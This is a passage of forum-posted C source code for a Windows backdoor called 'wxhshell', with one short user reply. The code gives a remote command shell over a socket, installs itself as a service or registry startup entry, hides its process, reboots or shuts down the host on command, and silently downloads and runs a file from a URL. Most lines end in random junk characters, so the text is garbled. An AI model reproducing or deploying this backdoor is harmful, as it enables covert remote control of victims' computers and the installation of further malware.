  if(DownloadFile(cmd,wsh)) z1X`o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <*cikXS  
  else 5">Z'+8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D_zZXbNc  
  } ]Gq !`O1  
  else { ml }{|Yz  
z9Rp`z&`E  
    switch(cmd[0]) { 3eQ&F~S  
  ((M>s&\y*Y  
  // 帮助 AFE~ v\Gz  
  case '?': { d<P\&!R(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NyNXP_8  
    break; ' %o#q6O  
  } mxdr,Idx  
  // 安装 O)r4?<Q  
  case 'i': { WOL:IZX%  
    if(Install()) sdw(R#GE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cTTL1SW  
    else {kR#p %E]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); > /caXvS  
    break; )bscBj@  
    } 3AN/ H  
  // 卸载 R~ q]JSIC@  
  case 'r': { |Ds1  
    if(Uninstall()) -m~#Bq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PALc;"]O  
    else :,6\"y-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aO4?m+  
    break; draN0v f  
    } &6nWzF  
  // 显示 wxhshell 所在路径 ~oY^;/ j  
  case 'p': { kc&U'&RgY  
    char svExeFile[MAX_PATH]; \(2sW^fY  
    strcpy(svExeFile,"\n\r"); sD#.Oq4&]y  
      strcat(svExeFile,ExeFile); .U]-j\  
        send(wsh,svExeFile,strlen(svExeFile),0); 49HZ2`Y  
    break; ^Xh^xL2cn  
    } -PR N:'T  
  // 重启 >e$PP8&i_T  
  case 'b': { </*6wpN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F0@gSurg)  
    if(Boot(REBOOT)) o|["SYIf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A^<jy=F&  
    else { |aq"#Ml)  
    closesocket(wsh); JDT`C2-Q  
    ExitThread(0); HLG"a3tt  
    } 61'XgkacDS  
    break; 8FY?!C  
    } ., 6-u  
  // 关机 -e:`|(Mo  
  case 'd': { P\k# >}}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iGB}Il)  
    if(Boot(SHUTDOWN))  Mb~F%_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JZyAXm%  
    else { $*fMR,~t&  
    closesocket(wsh); |@4' <4t  
    ExitThread(0); 7hPY_W y  
    } zy }$i?  
    break; v`1M[  
    } 1p=]hC  
  // 获取shell qY!Zt_Be6  
  case 's': { HN|%9{VeB  
    CmdShell(wsh); 5$C-9  
    closesocket(wsh); 11;MN  
    ExitThread(0); #AQV(;r7@  
    break; A~70  
  } $qj2w"'  
  // 退出 I b5rqU\  
  case 'x': { E~"y$Fqe  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o?\?@H  
    CloseIt(wsh); / %io+94  
    break; tY4;F\e2|A  
    } ~Z' ?LV<t  
  // 离开 fI|Nc  
  case 'q': { 4'=y:v2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i=2N;sAl  
    closesocket(wsh); R4:b{)=O  
    WSACleanup(); f ) L  
    exit(1); f4|rVP|x  
    break; qUb&   
        } t"oeQ*d%  
  } 92oFlEJ  
  } &{t,'[ u  
M9%$lCl   
  // 提示信息 /cP"h!P}~~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NK H@+,+V  
} C$`tbq  
  } lL0APT;  
IJcsmNWm  
  return; 6.yu-xm  
} x7 ,5  
|P?*5xPB  
// shell模块句柄 `r 3  
int CmdShell(SOCKET sock) .(k|wX[Fu~  
{ %d9uTm;  
STARTUPINFO si; >i?oC^QM  
ZeroMemory(&si,sizeof(si)); S3Jo>jXS "  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @`9]F7h5W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wN~_v-~*Q  
PROCESS_INFORMATION ProcessInfo; .HABNPNg(  
char cmdline[]="cmd"; V(!V_Ug9.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uW %#  
  return 0; A|{(/G2*  
} (CWtLi"z  
\:LW(&[!  
// 自身启动模式 inp7K41  
int StartFromService(void) s6`?LZ0(z  
{ 4;2uW#dG"  
typedef struct FGBbO\< /  
{ dioGAai'  
  DWORD ExitStatus; PLBr P  
  DWORD PebBaseAddress;  O*P.]d  
  DWORD AffinityMask; 5*u+q2\F  
  DWORD BasePriority; xr^LFn)  
  ULONG UniqueProcessId; E|shs=I  
  ULONG InheritedFromUniqueProcessId; 8P\Zo8}v  
}   PROCESS_BASIC_INFORMATION; W ]8 QM1$  
j8:\%|  
PROCNTQSIP NtQueryInformationProcess; J\=*#*rJ1  
kvu)y`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ((%? `y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S)"Jf?  
)MT}+ai  
  HANDLE             hProcess; @gK?\URoT  
  PROCESS_BASIC_INFORMATION pbi; k)TpnH! "  
Ar#(psU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m+z& Q  
  if(NULL == hInst ) return 0; "qy,*{~  
+k R4E23:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &m;*<}X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Bdpy:'fJn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l,aay-E  
V0a3<6@4  
  if (!NtQueryInformationProcess) return 0; w7&A0M  
k$:|-_(w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~6md !o%i  
  if(!hProcess) return 0; )NT*bLRPQ  
(A.C]hD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h 'nY3GrU  
EU Fa5C:  
  CloseHandle(hProcess); ]A_`0"m.U  
j3ls3H&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0jWVp- y  
if(hProcess==NULL) return 0; 4E}Yt$|  
-m#)B~)  
HMODULE hMod; HTTC TR  
char procName[255]; lPAQ3t!,  
unsigned long cbNeeded; SSzIih@u  
:\_ 5oVb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Qn2&nD%zi  
buHJB*?9  
  CloseHandle(hProcess); Q22 GIr  
7F~X,Dk_  
if(strstr(procName,"services")) return 1; // 以服务启动 9} .z;prz  
es0hm2HT3  
  return 0; // 注册表启动 sV*H`N')S  
} wVtwx0|1  
ChQx a  
// 主模块 Lu%b9Jk  
int StartWxhshell(LPSTR lpCmdLine) G=bCNn<  
{ [()koU#w.  
  SOCKET wsl; 5 SQ 8}Or3  
BOOL val=TRUE; 3=V &K-  
  int port=0; 'dc#F3  
  struct sockaddr_in door; |;{6& S  
7 _[L o4_  
  if(wscfg.ws_autoins) Install(); cso8xq|b7  
tfWS)y7  
port=atoi(lpCmdLine); %\:Wi#w>  
.x&%HA  
if(port<=0) port=wscfg.ws_port; ML p9y#  
%!#azI  
  WSADATA data; ]hV*r@d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &BSn?  
:b!s2n!u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uhq8   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,<X9Y2B  
  door.sin_family = AF_INET; RPbZ(.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +aAc9'k   
  door.sin_port = htons(port); I5W~g.<6  
;5AcFB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Vi|#@tC'  
closesocket(wsl); ?Z}&EH  
return 1; EKN~H$.  
} HjwE+:w  
b7ZSPXV  
  if(listen(wsl,2) == INVALID_SOCKET) { NwfVL4Xg  
closesocket(wsl); sa8Vvzvo.  
return 1; pQQH)`J|t  
} gnHbb-<i,  
  Wxhshell(wsl); 2B`JGFcdcB  
  WSACleanup(); #lO Mm9  
`EQL" =)  
return 0; aDN` 6[  
3$ PV2"  
} TkF[x%o  
bW:!5"_{H  
// 以NT服务方式启动 !d T4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5~S5F3  
{ l Nv|M)I  
DWORD   status = 0; Ew$C ;&9  
  DWORD   specificError = 0xfffffff; *yGGBqd  
5`_SN74o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6wg^FD_Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f?)-}\[IR{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @E8+C8'  
  serviceStatus.dwWin32ExitCode     = 0; HE\K@3-  
  serviceStatus.dwServiceSpecificExitCode = 0; UGatWj  
  serviceStatus.dwCheckPoint       = 0; $Y gue5{c  
  serviceStatus.dwWaitHint       = 0; A?0Nm{O;3v  
- ! S_ryL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  f)<6  
  if (hServiceStatusHandle==0) return; x|29L7i  
CU~PT.  
status = GetLastError(); Kf-JcBsrT  
  if (status!=NO_ERROR) 7PF%76TO  
{ ,tRj4mx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :fJN->wY^s  
    serviceStatus.dwCheckPoint       = 0; [KQ6Ta.  
    serviceStatus.dwWaitHint       = 0; q0 \6F^;M  
    serviceStatus.dwWin32ExitCode     = status; Zgb!E]V[  
    serviceStatus.dwServiceSpecificExitCode = specificError; N)Z?Z+ }h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L4l!96]a  
    return; >C~6\L`c  
  } bQ5\ ]5M  
Ht&Y C<X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -%4,@ x`  
  serviceStatus.dwCheckPoint       = 0; I*^Ta{j[  
  serviceStatus.dwWaitHint       = 0; -DAlRz#d,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9Gz=lc[!7  
} =?`c=z3~i$  
lUMdrt0@z  
// 处理NT服务事件,比如:启动、停止 q75s#[<ap  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Yoll?_k+  
{ x$(f7?s] 1  
switch(fdwControl) HtYwEjI  
{ e8 b:)"R  
case SERVICE_CONTROL_STOP: 6d~'$<5on  
  serviceStatus.dwWin32ExitCode = 0; N4HqLh23H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @|T'0_'  
  serviceStatus.dwCheckPoint   = 0; h@wgd~X9  
  serviceStatus.dwWaitHint     = 0; Z5]>pJFq,  
  { l9H!au=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r,2g^ K)6  
  } rQ snhv  
  return; '}#9)}x!  
case SERVICE_CONTROL_PAUSE: Ef{Vp;]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~7Ux@Sx;  
  break; ;xn0;V'=  
case SERVICE_CONTROL_CONTINUE: J4U1t2@)9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [opGZ`>)j"  
  break; Qe(:|q _  
case SERVICE_CONTROL_INTERROGATE: ku M$UYTTX  
  break; h!9ei6  
}; mRK>U$v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G  .4X'  
} ] @fk] ]R  
|(^PS8wG  
// 标准应用程序主函数 f6"Z'{j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZSm3XXk  
{ % %UE+u @J  
Y\'}a+:@Ph  
// 获取操作系统版本 +x}<IS8  
OsIsNt=GetOsVer(); ?|Zx!z ($  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X#;bh78&-  
Ilm^G}GB  
  // 从命令行安装 Rbv;?'O$L  
  if(strpbrk(lpCmdLine,"iI")) Install();  "-V"=t'  
?!/kZM_ts  
  // 下载执行文件 %vi83%$'4  
if(wscfg.ws_downexe) { seeB S/%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) El"Q'(:/U  
  WinExec(wscfg.ws_filenam,SW_HIDE); LBP`hK:>W~  
} ?=pT7M  
FHI ;)wn=  
if(!OsIsNt) { ENY+^7  
// 如果时win9x,隐藏进程并且设置为注册表启动 BTrn0  
HideProc(); ]5:8Z@  
StartWxhshell(lpCmdLine); )dd@\n$6  
}  %D "I  
else a C)!T  
  if(StartFromService()) ^5 Tqy(M  
  // 以服务方式启动 63B?.  
  StartServiceCtrlDispatcher(DispatchTable); A&jlizN7  
else E8&TO~"a]e  
  // 普通方式启动 Ozf@6\/t  
  StartWxhshell(lpCmdLine); >b4eL59  
!jR=pIfq  
return 0; +^T@sa`[I  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录 或 注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五